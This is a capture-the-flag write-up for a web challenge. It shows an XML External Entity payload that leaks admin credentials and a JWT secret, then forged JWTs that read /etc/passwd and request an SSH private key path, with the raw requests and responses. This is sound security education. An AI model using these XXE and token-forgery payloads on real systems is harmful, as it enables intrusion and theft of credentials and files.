# Continuuos**Category: Web**
Visiting this site presents a login screen:

Viewing the page source, we can find two interesting things. First, there is a comment talking about a settings file:
```html
```
We can come back to that later. Next, the source also shows how the login api works:
```html<script>    function myFunction() {        var user = document.getElementById('username').value;        var pwd = document.getElementById('password').value;        var res = new XMLHttpRequest();        var xml = '<document><user>' + user + '</user><pass>' + pwd + '</pass></document>';        res.open('POST', 'login.php', false);        res.setRequestHeader('Content-Type', 'application/xml');        res.send(xml);                  console.log(res);        if(res.status == 200){location.reload();}        else{        var wrong = document.getElementById('wrong');        wrong.style.display='block';    }}</script>```
I can make some manual login requests like this:
```httpPOST /login.php HTTP/1.1Host: alpha.tenable-ctf.io:5678Content-Type: application/xmlContent-Length: 68
<document><user></user><pass></pass></document>```
```HTTP/1.1 401 UnauthorizedDate: Tue, 14 Jun 2022 11:02:45 GMTServer: Apache/2.4.52 (Ubuntu)Content-Length: 174Content-Type: text/html; charset=UTF-8
user  or password  is incorrect
please check for errors in your request: 
<document><user/><pass/></document>```
We can try an [XML External Entities](https://portswigger.net/web-security/xxe) attack to read the settings file the comment mentioned:
```httpPOST /login.php HTTP/1.1Host: alpha.tenable-ctf.io:5678Content-Type: application/xmlContent-Length: 154
 ]><document><user>test</user><pass>&xx;;</pass></document>```
```httpHTTP/1.1 401 UnauthorizedDate: Tue, 14 Jun 2022 11:05:49 GMTServer: Apache/2.4.52 (Ubuntu)Content-Length: 541Content-Type: text/html; charset=UTF-8
user test or password  is incorrect
please check for errors in your request: 
]><document><user>test</user><pass><document><credentials><user>admin</user><pass>Continu321!</pass></credentials><secret>455b114503f70382f3ccd427ef45972cd2d35c41ee5abb2173d67d3ec54814f2</secret></document></pass></document>```
Now we have the username, `admin` and the password, `Continu321!`. We also have a secret value, `455b114503f70382f3ccd427ef45972cd2d35c41ee5abb2173d67d3ec54814f2`, that it isn't yet clear what it is for.
After logging in, we have access to a dashboard that lets us read logs. The running commands functionality is disabled:

The page source shows how the api works:
```html<script>  function readlog(){    //temporarily limited to the operations log.    var logReqJWT = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJvcGVyYXRpb24iOiJyZWFkbG9nIiwibG9nIjoiL3Zhci9sb2cvb3BlcmF0aW9ucy5sb2ciLCJ0aW1lIjoxNjM5NTgxNjY5fQ.wrdM7FwzrMXVFk74edWYRCabOO0uSp13aIcIaL6hHQ0';    var res = new XMLHttpRequest();    res.open('POST','operations.php', false);    res.send(logReqJWT);    console.log(res);    if(res.status == 200){      document.getElementById('output').value = res.responseText;    }  }</script>```
The first two sections of the JWT decode as:```js{    "typ":"JWT",    "alg":"HS256"}{    "operation":"readlog",    "log":"/var/log/operations.log","time":1639581669}```
The API on this page uses a [signed JWT](https://jwt.io/introduction) to ensure we don't tamper with the request and do something like try to read any file other than `operations.log`. But, we did get a `secret` value from the config file, maybe that is what was used to sign the JWT?
I went to https://jwt.io/ to see if I could recreate the JWT the site was using by signing it with the secret value from the config file:

And yes, on the left it does provide the base64 string we saw in the page source. This means we can use the token to sign our own requests. I changed the JWT payload to:
```js{    "operation":"readlog",    "log":"/etc/passwd","time":1639581669}```Then generated a new base64 string, `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJvcGVyYXRpb24iOiJyZWFkbG9nIiwibG9nIjoiL2V0Yy9wYXNzd2QiLCJ0aW1lIjoxNjM5NTgxNjY5fQ.4gJdZF4aY1zbpbKNpja2XXEUd30BgEctWbm-pImSYIo`, to be sent as a payload to the operations api:
```httpPOST /operations.php HTTP/1.1Host: alpha.tenable-ctf.io:5678Content-Length: 163Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJ0aW1lIjoxNjU1MjA0OTA2fQ.vKEE53_7WGis9-8qU0tWP8dhFen5L9DPvCo1T9DwaboConnection: close
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJvcGVyYXRpb24iOiJyZWFkbG9nIiwibG9nIjoiL2V0Yy9wYXNzd2QiLCJ0aW1lIjoxNjM5NTgxNjY5fQ.4gJdZF4aY1zbpbKNpja2XXEUd30BgEctWbm-pImSYIo```
```httpHTTP/1.1 200 OKDate: Tue, 14 Jun 2022 11:25:33 GMTServer: Apache/2.4.52 (Ubuntu)Vary: Accept-EncodingContent-Length: 970Connection: closeContent-Type: text/html; charset=UTF-8
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinoperations:x:1000:1000::/home/operations:/bin/sh```
This works, and shows us there is an `operations` user on the system. We can try and read their ssh key by generating a JWT that requests the file `/home/operations/.ssh/id_rsa`.
```httpPOST /operations.php HTTP/1.1Host: alpha.tenable-ctf.io:5678Content-Length: 185Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJ0aW1lIjoxNjU1MjA0OTA2fQ.vKEE53_7WGis9-8qU0tWP8dhFen5L9DPvCo1T9DwaboConnection: close
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJvcGVyYXRpb24iOiJyZWFkbG9nIiwibG9nIjoiL2hvbWUvb3BlcmF0aW9ucy8uc3NoL2lkX3JzYSIsInRpbWUiOjE2Mzk1ODE2Njl9.m1VrNoGKsrnIVKXg4qXL_iGgTtHbtQaNeypnDbNlPWA```
```httpHTTP/1.1 200 OKDate: Tue, 14 Jun 2022 11:27:09 GMTServer: Apache/2.4.52 (Ubuntu)Content-Length: 23Connection: closeContent-Type: text/html; charset=UTF-8
flag{a_n1ce_cup_0f_jwt}```